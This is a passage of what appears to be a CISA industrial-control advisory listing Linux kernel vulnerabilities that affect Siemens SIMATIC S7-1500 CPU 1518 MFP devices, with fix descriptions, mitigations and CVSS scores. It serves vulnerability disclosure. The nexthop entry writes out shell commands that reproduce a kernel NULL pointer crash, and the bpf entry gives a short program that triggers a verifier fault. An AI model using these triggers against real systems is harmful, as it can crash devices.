<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39964</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: af_alg - Disallow concurrent writes in af_alg_sendmsg Issuing two writes to the same af_alg socket is bogus as the data will be interleaved in an unpredictable fashion. Furthermore, concurrent writes may create inconsistencies in the internal socket state. Disallow this by adding a new ctx-&gt;write field that indiciates exclusive ownership for writing.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39964">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39977</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: futex: Prevent use-after-free during requeue-PI syzbot managed to trigger the following race: T1 T2 futex_wait_requeue_pi() futex_do_wait() schedule() futex_requeue() futex_proxy_trylock_atomic() futex_requeue_pi_prepare() requeue_pi_wake_futex() futex_requeue_pi_complete() /* preempt */ * timeout/ signal wakes T1 * futex_requeue_pi_wakeup_sync() // Q_REQUEUE_PI_LOCKED futex_hash_put() // back to userland, on stack futex_q is garbage /* back */ wake_up_state(q-&gt;task, TASK_NORMAL); In this scenario futex_wait_requeue_pi() is able to leave without using futex_q::lock_ptr for synchronization. This can be prevented by reading futex_q::task before updating the futex_q::requeue_state. A reference on the task_struct is not needed because requeue_pi_wake_futex() is invoked with a spinlock_t held which implies a RCU read section. Even if T1 terminates immediately after, the task_struct will remain valid during T2's wake_up_state(). A READ_ONCE on futex_q::task before futex_requeue_pi_complete() is enough because it ensures that the variable is read before the state is updated. Read futex_q::task before updating the requeue state, use it for the following wakeup.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39977">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39978</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: octeontx2-pf: Fix potential use after free in otx2_tc_add_flow() This code calls kfree_rcu(new_node, rcu) and then dereferences "new_node" and then dereferences it on the next line. Two lines later, we take a mutex so I don't think this is an RCU safe region. Re-order it to do the dereferences before queuing up the free.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39978">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39980</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nexthop: Forbid FDB status change while nexthop is in a group The kernel forbids the creation of non-FDB nexthop groups with FDB nexthops: # ip nexthop add id 1 via 192.0.2.1 fdb # ip nexthop add id 2 group 1 Error: Non FDB nexthop group cannot have fdb nexthops. And vice versa: # ip nexthop add id 3 via 192.0.2.2 dev dummy1 # ip nexthop add id 4 group 3 fdb Error: FDB nexthop group can only have fdb nexthops. However, as long as no routes are pointing to a non-FDB nexthop group, the kernel allows changing the type of a nexthop from FDB to non-FDB and vice versa: # ip nexthop add id 5 via 192.0.2.2 dev dummy1 # ip nexthop add id 6 group 5 # ip nexthop replace id 5 via 192.0.2.2 fdb # echo $? 0 This configuration is invalid and can result in a NPD [1] since FDB nexthops are not associated with a nexthop device: # ip route add 198.51.100.1/32 nhid 6 # ping 198.51.100.1 Fix by preventing nexthop FDB status change while the nexthop is in a group: # ip nexthop add id 7 via 192.0.2.2 dev dummy1 # ip nexthop add id 8 group 7 # ip nexthop replace id 7 via 192.0.2.2 fdb Error: Cannot change nexthop FDB status while in a group. [1] BUG: kernel NULL pointer dereference, address: 00000000000003c0 [...] Oops: Oops: 0000 [#1] SMP CPU: 6 UID: 0 PID: 367 Comm: ping Not tainted 6.17.0-rc6-virtme-gb65678cacc03 #1 PREEMPT(voluntary) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc41 04/01/2014 RIP: 0010:fib_lookup_good_nhc+0x1e/0x80 [...] Call Trace: fib_table_lookup+0x541/0x650 ip_route_output_key_hash_rcu+0x2ea/0x970 ip_route_output_key_hash+0x55/0x80 __ip4_datagram_connect+0x250/0x330 udp_connect+0x2b/0x60 __sys_connect+0x9c/0xd0 __x64_sys_connect+0x18/0x20 do_syscall_64+0xa4/0x2a0 entry_SYSCALL_64_after_hwframe+0x4b/0x53</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39980">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40022</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: af_alg - Fix incorrect boolean values in af_alg_ctx Commit 1b34cbbf4f01 ("crypto: af_alg - Disallow concurrent writes in af_alg_sendmsg") changed some fields from bool to 1-bit bitfields of type u32. However, some assignments to these fields, specifically 'more' and 'merge', assign values greater than 1. These relied on C's implicit conversion to bool, such that zero becomes false and nonzero becomes true. With a 1-bit bitfields of type u32 instead, mod 2 of the value is taken instead, resulting in 0 being assigned in some cases when 1 was intended. Fix this by restoring the bool type.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40022">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/704.html">CWE-704 Incorrect Type Conversion or Cast</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40070</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: pps: fix warning in pps_register_cdev when register device fail Similar to previous commit 2a934fdb01db ("media: v4l2-dev: fix error handling in __video_register_device()"), the release hook should be set before device_register(). Otherwise, when device_register() return error and put_device() try to callback the release function, the below warning may happen. ------------[ cut here ]------------ WARNING: CPU: 1 PID: 4760 at drivers/base/core.c:2567 device_release+0x1bd/0x240 drivers/base/core.c:2567 Modules linked in: CPU: 1 UID: 0 PID: 4760 Comm: syz.4.914 Not tainted 6.17.0-rc3+ #1 NONE RIP: 0010:device_release+0x1bd/0x240 drivers/base/core.c:2567 Call Trace: kobject_cleanup+0x136/0x410 lib/kobject.c:689 kobject_release lib/kobject.c:720 [inline] kref_put include/linux/kref.h:65 [inline] kobject_put+0xe9/0x130 lib/kobject.c:737 put_device+0x24/0x30 drivers/base/core.c:3797 pps_register_cdev+0x2da/0x370 drivers/pps/pps.c:402 pps_register_source+0x2f6/0x480 drivers/pps/kapi.c:108 pps_tty_open+0x190/0x310 drivers/pps/clients/pps-ldisc.c:57 tty_ldisc_open+0xa7/0x120 drivers/tty/tty_ldisc.c:432 tty_set_ldisc+0x333/0x780 drivers/tty/tty_ldisc.c:563 tiocsetd drivers/tty/tty_io.c:2429 [inline] tty_ioctl+0x5d1/0x1700 drivers/tty/tty_io.c:2728 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:598 [inline] __se_sys_ioctl fs/ioctl.c:584 [inline] __x64_sys_ioctl+0x194/0x210 fs/ioctl.c:584 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0x5f/0x2a0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x76/0x7e Before commit c79a39dc8d06 ("pps: Fix a use-after-free"), pps_register_cdev() call device_create() to create pps-&gt;dev, which will init dev-&gt;release to device_create_release(). Now the comment is outdated, just remove it. Thanks for the reminder from Calvin Owens, 'kfree_pps' should be removed in pps_register_source() to avoid a double free in the failure case.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40070">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40078</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Explicitly check accesses to bpf_sock_addr Syzkaller found a kernel warning on the following sock_addr program: 0: r0 = 0 1: r2 = *(u32 *)(r1 +60) 2: exit which triggers: verifier bug: error during ctx access conversion (0) This is happening because offset 60 in bpf_sock_addr corresponds to an implicit padding of 4 bytes, right after msg_src_ip4. Access to this padding isn't rejected in sock_addr_is_valid_access and it thus later fails to convert the access. This patch fixes it by explicitly checking the various fields of bpf_sock_addr in sock_addr_is_valid_access. I checked the other ctx structures and is_valid_access functions and didn't find any other similar cases. Other cases of (properly handled) padding are covered in new tests in a subsequent patch.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40078">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40080</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nbd: restrict sockets to TCP and UDP Recently, syzbot started to abuse NBD with all kinds of sockets. Commit cf1b2326b734 ("nbd: verify socket is supported during setup") made sure the socket supported a shutdown() method. Explicitely accept TCP and UNIX stream sockets.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40080">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40105</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: vfs: Don't leak disconnected dentries on umount When user calls open_by_handle_at() on some inode that is not cached, we will create disconnected dentry for it. If such dentry is a directory, exportfs_decode_fh_raw() will then try to connect this dentry to the dentry tree through reconnect_path(). It may happen for various reasons (such as corrupted fs or race with rename) that the call to lookup_one_unlocked() in reconnect_one() will fail to find the dentry we are trying to reconnect and instead create a new dentry under the parent. Now this dentry will not be marked as disconnected although the parent still may well be disconnected (at least in case this inconsistency happened because the fs is corrupted and .. doesn't point to the real parent directory). This creates inconsistency in disconnected flags but AFAICS it was mostly harmless. At least until commit f1ee616214cb ("VFS: don't keep disconnected dentries on d_anon") which removed adding of most disconnected dentries to sb-&gt;s_anon list. Thus after this commit cleanup of disconnected dentries implicitely relies on the fact that dput() will immediately reclaim such dentries. However when some leaf dentry isn't marked as disconnected, as in the scenario described above, the reclaim doesn't happen and the dentries are "leaked". Memory reclaim can eventually reclaim them but otherwise they stay in memory and if umount comes first, we hit infamous "Busy inodes after unmount" bug. Make sure all dentries created under a disconnected parent are marked as disconnected as well.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40105">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
